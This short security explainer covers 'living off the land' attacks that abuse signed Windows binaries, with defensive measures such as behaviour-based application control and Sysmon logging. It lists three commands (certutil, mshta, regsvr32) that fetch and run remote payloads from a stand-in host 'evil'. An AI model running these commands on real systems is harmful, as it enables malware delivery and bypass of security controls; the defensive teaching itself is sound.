Living off the land: attacking with the tools already there

Living off the land means using legitimate, already-present (and signed) binaries for malicious actions, avoiding dropping detectable tools. On Windows these are LOLBAS; on Linux GTFOBins.

Examples

Trusted system binaries perform malware tasks without raising suspicion:

certutil -urlcache -f http://evil/x.exe x.exe   # download
mshta http://evil/x.hta                          # execution
regsvr32 /s /u /i:http://evil/x.sct scrobj.dll   # exec + bypass
rundll32, wmic, bitsadmin, msbuild ...           # and many more

Because the process is a signed Microsoft binary, naive allowlists and signature-based AV let it through.

Defence

Behaviour-based application control, not signature-only (WDAC with rules limiting anomalous use). Command-line and process-tree logging (Sysmon), detecting certutil/mshta contacting the Internet. Block unneeded LOLBAS. EDR on usage patterns, not files.